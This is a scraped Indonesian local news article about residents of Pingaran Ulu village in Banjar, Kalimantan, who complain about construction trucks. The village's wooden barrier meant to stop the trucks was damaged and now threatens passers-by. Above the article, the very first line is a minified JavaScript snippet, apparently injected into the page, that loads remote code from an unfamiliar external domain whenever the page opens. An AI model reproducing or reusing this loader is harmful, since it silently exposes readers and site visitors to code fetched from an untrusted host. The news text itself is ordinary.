(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Maunya Larang Truk Melintas, Portal Justru Ancam Keselamatan Warga


MARTAPURA, Sejak sebulan lalu, warga di Desa Pingaran Ulu, Kecamatan Astambul resah oleh lalu lalang truk pengangkut material; tanah urug, pasir dan batu gunung. Hilir mudik mobil berbobot berat ini menurut warga berdampak pada kondisi jalan yang memang sudah rusak bertambah parah.

Tak hanya itu, menurut Tarsan, salah seorang warga setempat, lalu lalang truk mengganggu kenyamanan istirahat warga. Pasalnya, truk acapkali melintas hingga larut malam. Ditambah saat melintas, debu beterbangan dan mengotori rumah warga.

Menurutnya, saban hari, tak kurang 100 truk pengangkut material bangunan yang melintas. Saking banyaknya, ditambah berat muatan, membuat pipa paralon penyedot air dari sungai yang dipendam di badan jalan pecah.

Menangkap keluh kesah warga yang jengkel karena truk yang melintas, aparat desa setempat memasang portal penghalang agar truk tak lagi melintas, karena peringatan larangan melintas yang sebelumnya hanya berupa spanduk, tak digubris sopir truk.

Sayangnya,  hanya berselang hari setelah portal terbuat dari batang kayu pohon pinang dipasang, keberadaan portal justru membayakan keselamatan warga dan pengguna jalan yang melintas. Pasalnya, portal yang dipasang tak lagi tegak berdiri. Palang kayu pada bagian atas portal bahkan patah.

Dianggap membayakan warga dan pengguna jalan, Tarsan diamini warga yang lain berharap, portal segera diperbaiki. Bahkan jika perlu, portal dibikin permanen berbahan besi.

Portal yang dipasang warga dan aparat Desa Pingaran Ulu, Kecamatan Astambul justru mengancam keselematan warga dan pengguna jalan karena kondisinya miring dan rawan ambruk. Foto: Rudiyanto

“Pemasangan portal oleh aparat desa sudah bagus untuk melarang truk melintas. Karena memang, truk sangat menganggu warga. Tapi kalau kondisinya seperti sekarnag ini, justru membahayakan keselamatan warga dan pengguna jalan karena rawan ambruk,” ujar Tarsan, Jumat (20/10).

Tentang pemasangan portal dan kondisinya yang menunggu roboh, H M Zaini Arsyad, Kepala Desa Pingaran Ulu mengatakan, pemasangan portal dilakukan karena hilir mudik dikeluhkan warga. Dari debu yang disebabkan truk melintas hingga pecahnya pipa-pipa air milik warga.

“Tak lama portal dibuka, ada sopir yang seperti sengaja menabrak portal. Mungkin marah karena pemasangan portal. Jadilah kondisi portal seperti yang sekarang. Tapi satu dua hari akan segera kami perbaiki. Takutnya ambruk dan justru membahayakan keselamatan warga yang melintas,” kata H. Zaini. (rudiyanto)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.